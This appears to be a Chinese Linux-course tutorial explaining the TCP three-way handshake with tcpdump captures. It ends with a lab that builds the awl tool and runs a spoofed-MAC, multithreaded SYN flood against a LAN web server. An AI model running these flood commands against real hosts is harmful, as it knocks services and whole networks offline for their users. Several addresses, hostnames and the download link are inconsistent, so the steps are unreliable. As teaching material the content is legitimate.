绝对干货tcp的三次握手及syn攻击

绝对干货tcp的三次握手及syn攻击

ssh 客户端: xuegod63 192.168.10.63

sshd服务端: xuegod64 192.168.10.64

TCP报文段的首部格式:

绝对干货tcp的三次握手及syn攻击

绝对干货tcp的三次握手及syn攻击

绝对干货tcp的三次握手及syn攻击

需要了解的信息:

ACK: TCP协议规定,只有ACK=1时有效,也规定连接建立后所有发送的报文的ACK必须为1

SYN(SYNchronization) : 在连接建立时用来同步序号。当SYN=1而ACK=0时,表明这是一个连接请求报文。对方若同意建立连接,则应在响应报文中使SYN=1和ACK=1. 因此, SYN置1就表示这是一个连接请求或连接接受报文。

FIN(finis)即完,终结的意思, 用来释放一个连接。当 FIN = 1 时,表明此报文段的发送方的数据已经发送完毕,并要求释放连接。

建立tcp连接时的tcp三次握手

绝对干货tcp的三次握手及syn攻击

1、实战:使用tcpdump抓取tcp三次握手

tcp三次握手过程:

Client:我可以给你发数据吗?

Server:可以

Client:好的

绝对干货tcp的三次握手及syn攻击

tcp三次握手过程:

1、首先由Client发出请求连接即 SYN=1声明自己的序号是 seq=x

2、然后Server 进行回复确认,即 SYN=1声明自己的序号是 seq=y,并设置为ack=x+1,

3、最后Client 再进行一次确认, seq=x+1, ack=y+1.

seq 序列号范围:2^32 -1 到最大值,再从0开始

seq 序列号作用:依据这个序列号来组数据 进行数据包的顺序

绝对干货tcp的三次握手及syn攻击

实战1:使用tcpdump抓包查看tcp三次握手过程

tcpdump常用参数:

-c 指定包个数

-n IP,端口用数字方式显示

port指定端口

在xuegod63上登录,抓取ssh远程产生的tcp三次握手包:

[root@xuegod63~]#tcpdumphost 192.168.10.64 andport 22 -c 3 -n

打开另一个终端,开始建立tcp连接:

[root@xuegod64 Desktop]# ssh root@192.168.10.64

The authenticity of host '192.168.1.64(192.168.1.63)' can't be established.

RSA key fingerprint is b2:29:c8:62:98:80:92:3c:e2:67:3f:f0:7c:40:69:64.

Are you sure you want to continue connecting (yes/no)?#到这里就不用执行了,tcp已经建议连接

查看数据包:

[root@xuegod63~]# tcpdump -i eth0 -vn -t tcp port 22

tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 64535 bytes

IP (tos 0x10, ttl 63, id 1908, offset 0, flags [DF], proto TCP (6), length 60)

192.168.1.63.57521 > 192.168.1.64.ssh:Flags[S],cksum 0x4730 (correct),seq 3666297820, win 14600, options [mss 1460,sackOK,TS val 2245802 ecr 0,nop,wscale 7], length 0

IP (tos 0x0, ttl 63, id 0, offset 0, flags [DF], proto TCP (6), length 60)

192.168.1.64.ssh > 192.168.1.63.57521:Flags[S.],cksum 0x3ee0 (correct),seq 1491746864,ack 3666297821,win 14480, options [mss 1460,sackOK,TS val 1011598 ecr 2245802,nop,wscale 7], length 0

IP (tos 0x10, ttl 63, id 1909, offset 0, flags [DF], proto TCP (6), length 52)

192.168.1.63.57521 > 192.168.1.64.ssh: Flags [.], cksum 0xa5c8 (correct),ack 1,win 115, options [nop,nop,TS val 2245803 ecr 1011598], length 0

注:Flags[S]中的S 表示为SYN包为1

为什么最后一个ack为1 不是为y+1 ?

client主机返回ACK,包序号为ack=1 ,这是相对序号,如果需要看绝对序号,可以在tcpdump命令中加-S

[root@xuegod63~]#tcpdumphost 192.168.10.64 andport 22 -c 3 -n -S

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode

listening on eth0, link-type EN10MB (Ethernet), capture size 64535 bytes

16:00:54.310316 IP192.168.1.63.57528 > 192.168.1.64.ssh: Flags[S],seq 1932774705,win 14600, options [mss 1460,sackOK,TS val 5103649 ecr 0,nop,wscale 7], length 0

16:00:54.311072 IP192.168.1.64.ssh>192.168.1.63.57528: Flags[S.],seq 3006844046,ack 1932774706, win 14480, options [mss 1460,sackOK,TS val 3869455 ecr 5103649,nop,wscale 7], length 0

16:00:54.311175 IP192.168.1.63.57528 > 192.168.1.64.ssh: Flags [.],ack 3006844047,win 115, options [nop,nop,TS val 5103660 ecr 3869455], length 0

3 packets captured

3 packets received by filter

0 packets dropped by kernel

TCP连接状态详解

绝对干货tcp的三次握手及syn攻击

TCP连接状态详解

服务器端:LISTEN:侦听来自远方的TCP端口的连接请求

客户端:SYN-SENT:再发送连接请求后等待匹配的连接请求

服务器端:SYN-RECEIVED:再收到和发送一个连接请求后等待对方对连接请求的确认

客户端/服务器端:ESTABLISHED:代表一个打开的连接

SYN洪水攻击概述:

SYN洪水攻击主要源于: tcp协议的三次握手机制

tcp协议面向链接的协议:

TCP三次握手过程:

绝对干货tcp的三次握手及syn攻击

SYN洪水攻击的过程:

服务端返回一个确认的SYN-ACK包的时候有个潜在的弊端,如果发起的客户是一个不存在的客户端,那么服务端就不会接到客户端回应的ACK包。

这时服务端需要耗费一定的数量的系统内存来等待这个未决的连接,直到等待超时关闭,才能施放内存。

如果恶意者通过ip欺骗发送大量SYN包给受害者系统,导致服务端存在大量未决的连接并占用大量内存和tcp连接,从而导致正常客户端无法访问服务端,这就是SYN洪水攻击的过程。

实战3:使用awl伪装MAC对内网的服务器施实syn洪水攻击

绝对干货tcp的三次握手及syn攻击

在xuegod63 awl软件进行攻击:

下载地址:https://gitlab.com/davical-project/awl/tags

绝对干货tcp的三次握手及syn攻击

通过xshell上传awl-0.2.tar.gz到Linux系统中

[root@xuegod63~]#tar zxvf awl-0.2.tar.gz#解压

[root@xuegod63~]#cd awl-0.2

[root@xuegod63awl-0.2]#./configure# 查检软件包安装环境

[root@xuegod63awl-0.2]#make-j 4

#make 把源代码编译成可执行的二进制文件

# -j 4以4个进程同时编译,速度快

[root@xuegod63awl-0.2]#make install#安装

开始攻击:

实战4: 在局域网中使用awl伪装MAC地址进行多线程SYN攻击

获取对方的IP地址解析成MAC地址

[root@xuegod63~]# ping 192.168.1.64 为了拿到mac

[root@xuegod64 ~]# arp -n

Address HWtype HWaddress Flags Mask Iface

192.168.1.17 ether e0:b9:a5:ac:c5:76C eth0

192.168.1.64ether00:0c:29:48:80:95C eth0

开始攻击:

awl参数如下:

-i 发送包的接口,如果省略默认是eth0

-m 指定目标mac地址 注:如果-m没有指定mac,默认目标MAC地址是“FF.FF.FF.FF.FF.FF”,这表示向同一网段内的所有主机发出ARP广播,进行SYN攻击,还容易使整个局域网瘫痪。

-d 被攻击机器的IP

-p 被攻击机器的端口

[root@xuegod63~]# awl -i eth0 -m 00:0c:29:48:80:95 -d 192.168.10.63 -p 80

对端top效果

执行5秒ctrl+c

测试攻击效果:

在xuegod64上查看:发现很多伪装成公网的IP在攻击我们

绝对干货tcp的三次握手及syn攻击

总结:

1、 tcp三次握手及tcp连接状态

2、 tcpdump抓包查看sep,ack的序列号

3、实战:在局域网中使用awl伪装IP地址进行多线程SYN攻击

以上内容为Linux实战课程的一个学习,希望对大家有所帮助。更多干货分享,请关注小木IT杂谈头条号!

评论

目前评论:0   

点击加载更多评